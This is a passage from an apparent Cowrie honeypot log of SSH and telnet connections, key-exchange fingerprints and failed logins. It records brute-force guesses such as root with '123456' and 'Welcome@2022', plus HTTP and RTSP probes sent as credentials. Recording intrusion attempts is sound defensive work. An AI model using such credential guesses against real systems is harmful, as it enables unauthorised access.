0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:56.905585Z","src_ip":"165.154.137.186","session":"f646139e0e5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":43850,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cfb1f16eb0e","protocol":"ssh","message":"New connection: 165.154.137.186:43850 (10.17.0.5:22) [session: 6cfb1f16eb0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:57.439854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:57.447206Z","src_ip":"165.154.137.186","session":"6cfb1f16eb0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:57.639525Z","src_ip":"165.154.137.186","session":"f646139e0e5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:57.704761Z","src_ip":"165.154.137.186","session":"6cfb1f16eb0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:57.723342Z","src_ip":"27.71.230.31","session":"6247e1e5b048","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:58.517630Z","src_ip":"165.154.137.186","session":"6cfb1f16eb0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:58.887130Z","src_ip":"165.154.137.186","session":"f646139e0e5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:59.775953Z","src_ip":"165.154.137.186","session":"6cfb1f16eb0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.34.170","src_port":28576,"dst_ip":"159.203.135.109","dst_port":23,"session":"939a9f8053cb","protocol":"telnet","message":"New connection: 34.76.34.170:28576 (159.203.135.109:23) [session: 939a9f8053cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:59.886348Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:59.892394Z","src_ip":"34.76.34.170","session":"939a9f8053cb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:59.896436Z","src_ip":"34.76.34.170","session":"939a9f8053cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09102439880371094,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:59.977017Z","src_ip":"34.76.34.170","session":"939a9f8053cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.34.170","src_port":35816,"dst_ip":"159.203.135.109","dst_port":23,"session":"9808bcec69e8","protocol":"telnet","message":"New connection: 34.76.34.170:35816 (159.203.135.109:23) [session: 9808bcec69e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:00.050206Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.34.170","src_port":35822,"dst_ip":"159.203.135.109","dst_port":23,"session":"42dbbd006dbd","protocol":"telnet","message":"New connection: 34.76.34.170:35822 (159.203.135.109:23) [session: 42dbbd006dbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:00.206115Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.34.170","src_port":35838,"dst_ip":"159.203.135.109","dst_port":23,"session":"475826e8f940","protocol":"telnet","message":"New connection: 34.76.34.170:35838 (159.203.135.109:23) [session: 475826e8f940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:00.363090Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.34.170","src_port":35850,"dst_ip":"159.203.135.109","dst_port":23,"session":"95758bb94fa3","protocol":"telnet","message":"New connection: 34.76.34.170:35850 (159.203.135.109:23) [session: 95758bb94fa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:00.519413Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@2022","message":"login attempt [root/Welcome@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:00.643564Z","src_ip":"27.71.230.31","session":"6247e1e5b048","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.34.170","src_port":35852,"dst_ip":"159.203.135.109","dst_port":23,"session":"e343c662700b","protocol":"telnet","message":"New connection: 34.76.34.170:35852 (159.203.135.109:23) [session: e343c662700b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:00.674899Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.34.170","src_port":35864,"dst_ip":"159.203.135.109","dst_port":23,"session":"91f869eaa4bc","protocol":"telnet","message":"New connection: 34.76.34.170:35864 (159.203.135.109:23) [session: 91f869eaa4bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:00.829843Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.34.170","src_port":35868,"dst_ip":"159.203.135.109","dst_port":23,"session":"50b0efff5b55","protocol":"telnet","message":"New connection: 34.76.34.170:35868 (159.203.135.109:23) [session: 50b0efff5b55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:00.999816Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.34.170","src_port":35878,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fe63286508f","protocol":"telnet","message":"New connection: 34.76.34.170:35878 (159.203.135.109:23) [session: 3fe63286508f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:01.156376Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.34.170","src_port":35888,"dst_ip":"159.203.135.109","dst_port":23,"session":"c57fdf30c3bc","protocol":"telnet","message":"New connection: 34.76.34.170:35888 (159.203.135.109:23) [session: c57fdf30c3bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:01.319384Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.34.170","src_port":35904,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4774ed4db45","protocol":"telnet","message":"New connection: 34.76.34.170:35904 (159.203.135.109:23) [session: f4774ed4db45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:01.557457Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.34.170","src_port":35906,"dst_ip":"159.203.135.109","dst_port":23,"session":"63f53182fd3c","protocol":"telnet","message":"New connection: 34.76.34.170:35906 (159.203.135.109:23) [session: 63f53182fd3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:01.716503Z"}
{"eventid":"cowrie.session.closed","duration":0.006035327911376953,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:01.722373Z","src_ip":"34.76.34.170","session":"63f53182fd3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.34.170","src_port":35922,"dst_ip":"159.203.135.109","dst_port":23,"session":"a222e1ad9f6c","protocol":"telnet","message":"New connection: 34.76.34.170:35922 (159.203.135.109:23) [session: a222e1ad9f6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:01.874299Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.34.170","src_port":35934,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8fc7ec3106e","protocol":"telnet","message":"New connection: 34.76.34.170:35934 (159.203.135.109:23) [session: b8fc7ec3106e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:02.032779Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.34.170","src_port":35950,"dst_ip":"159.203.135.109","dst_port":23,"session":"ede019bdb830","protocol":"telnet","message":"New connection: 34.76.34.170:35950 (159.203.135.109:23) [session: ede019bdb830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:02.188559Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.34.170","src_port":35960,"dst_ip":"159.203.135.109","dst_port":23,"session":"931bef1ddf0e","protocol":"telnet","message":"New connection: 34.76.34.170:35960 (159.203.135.109:23) [session: 931bef1ddf0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:02.345555Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.34.170","src_port":35970,"dst_ip":"159.203.135.109","dst_port":23,"session":"47482a867bd1","protocol":"telnet","message":"New connection: 34.76.34.170:35970 (159.203.135.109:23) [session: 47482a867bd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:02.598684Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.34.170","src_port":35982,"dst_ip":"159.203.135.109","dst_port":23,"session":"a74439d84db6","protocol":"telnet","message":"New connection: 34.76.34.170:35982 (159.203.135.109:23) [session: a74439d84db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:02.755120Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.34.170","src_port":35988,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8f99ae09a9d","protocol":"telnet","message":"New connection: 34.76.34.170:35988 (159.203.135.109:23) [session: a8f99ae09a9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:02.909948Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.34.170","src_port":36004,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7cc948a1bc1","protocol":"telnet","message":"New connection: 34.76.34.170:36004 (159.203.135.109:23) [session: d7cc948a1bc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:03.066697Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.34.170","src_port":36014,"dst_ip":"159.203.135.109","dst_port":23,"session":"87c4a261c207","protocol":"telnet","message":"New connection: 34.76.34.170:36014 (159.203.135.109:23) [session: 87c4a261c207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:03.223288Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:03.229566Z","src_ip":"34.76.34.170","session":"87c4a261c207","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.34.170","src_port":36020,"dst_ip":"159.203.135.109","dst_port":23,"session":"1853d17f7168","protocol":"telnet","message":"New connection: 34.76.34.170:36020 (159.203.135.109:23) [session: 1853d17f7168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:03.382782Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.34.170","src_port":36022,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfaa50e0239c","protocol":"telnet","message":"New connection: 34.76.34.170:36022 (159.203.135.109:23) [session: bfaa50e0239c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:03.542404Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.34.170","src_port":36032,"dst_ip":"159.203.135.109","dst_port":23,"session":"9704b7b4e486","protocol":"telnet","message":"New connection: 34.76.34.170:36032 (159.203.135.109:23) [session: 9704b7b4e486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:03.699267Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.34.170","src_port":36038,"dst_ip":"159.203.135.109","dst_port":23,"session":"01c4bc040d4a","protocol":"telnet","message":"New connection: 34.76.34.170:36038 (159.203.135.109:23) [session: 01c4bc040d4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:03.858662Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.34.170","src_port":36042,"dst_ip":"159.203.135.109","dst_port":23,"session":"0034c436a4b7","protocol":"telnet","message":"New connection: 34.76.34.170:36042 (159.203.135.109:23) [session: 0034c436a4b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:04.015540Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.34.170","src_port":36046,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fe263b715ed","protocol":"telnet","message":"New connection: 34.76.34.170:36046 (159.203.135.109:23) [session: 9fe263b715ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:04.172648Z"}
{"eventid":"cowrie.session.closed","duration":0.006124973297119141,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:04.178568Z","src_ip":"34.76.34.170","session":"9fe263b715ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.34.170","src_port":36054,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ba50ad2071e","protocol":"telnet","message":"New connection: 34.76.34.170:36054 (159.203.135.109:23) [session: 9ba50ad2071e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:04.329071Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.34.170","src_port":36066,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ff33c39bfc1","protocol":"telnet","message":"New connection: 34.76.34.170:36066 (159.203.135.109:23) [session: 1ff33c39bfc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:04.485946Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 7501","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 7501] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:04.492286Z","src_ip":"34.76.34.170","session":"1ff33c39bfc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.34.170","src_port":36078,"dst_ip":"159.203.135.109","dst_port":23,"session":"71b26af0d775","protocol":"telnet","message":"New connection: 34.76.34.170:36078 (159.203.135.109:23) [session: 71b26af0d775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:04.646987Z"}
{"eventid":"cowrie.session.closed","duration":0.008038043975830078,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:04.654905Z","src_ip":"34.76.34.170","session":"71b26af0d775","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:05.533298Z","src_ip":"27.71.230.31","session":"6247e1e5b048","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":20.00791358947754,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:10.737534Z","src_ip":"34.76.34.170","session":"11a8a28daa37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.20387601852417,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:10.746117Z","src_ip":"34.76.34.170","session":"bfaa50e0239c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.266896486282349,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:10.752681Z","src_ip":"34.76.34.170","session":"1ff33c39bfc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.426793098449707,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:10.755723Z","src_ip":"34.76.34.170","session":"9ba50ad2071e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.7434797286987305,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:10.758874Z","src_ip":"34.76.34.170","session":"0034c436a4b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.906293630599976,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:10.764817Z","src_ip":"34.76.34.170","session":"01c4bc040d4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.211771726608276,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:10.769043Z","src_ip":"34.76.34.170","session":"f4774ed4db45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.0734703540802,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:10.772511Z","src_ip":"34.76.34.170","session":"9704b7b4e486","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.392942905426025,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:10.775567Z","src_ip":"34.76.34.170","session":"1853d17f7168","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.555989503860474,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:10.779104Z","src_ip":"34.76.34.170","session":"87c4a261c207","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.715567588806152,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:10.782131Z","src_ip":"34.76.34.170","session":"d7cc948a1bc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.8759143352508545,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:10.785715Z","src_ip":"34.76.34.170","session":"a8f99ae09a9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.033836603164673,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:10.788828Z","src_ip":"34.76.34.170","session":"a74439d84db6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.193830966949463,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:10.792368Z","src_ip":"34.76.34.170","session":"47482a867bd1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.449848890304565,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:10.795247Z","src_ip":"34.76.34.170","session":"931bef1ddf0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.609898567199707,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:10.798314Z","src_ip":"34.76.34.170","session":"ede019bdb830","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.768874406814575,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:10.801510Z","src_ip":"34.76.34.170","session":"b8fc7ec3106e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.93074345588684,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:10.804908Z","src_ip":"34.76.34.170","session":"a222e1ad9f6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.652491807937622,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:10.808727Z","src_ip":"34.76.34.170","session":"3fe63286508f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.493850231170654,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:10.813104Z","src_ip":"34.76.34.170","session":"c57fdf30c3bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.830976963043213,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:10.830639Z","src_ip":"34.76.34.170","session":"50b0efff5b55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.004018306732178,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:10.833734Z","src_ip":"34.76.34.170","session":"91f869eaa4bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.162125825881958,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:10.836900Z","src_ip":"34.76.34.170","session":"e343c662700b","protocol":"telnet"}
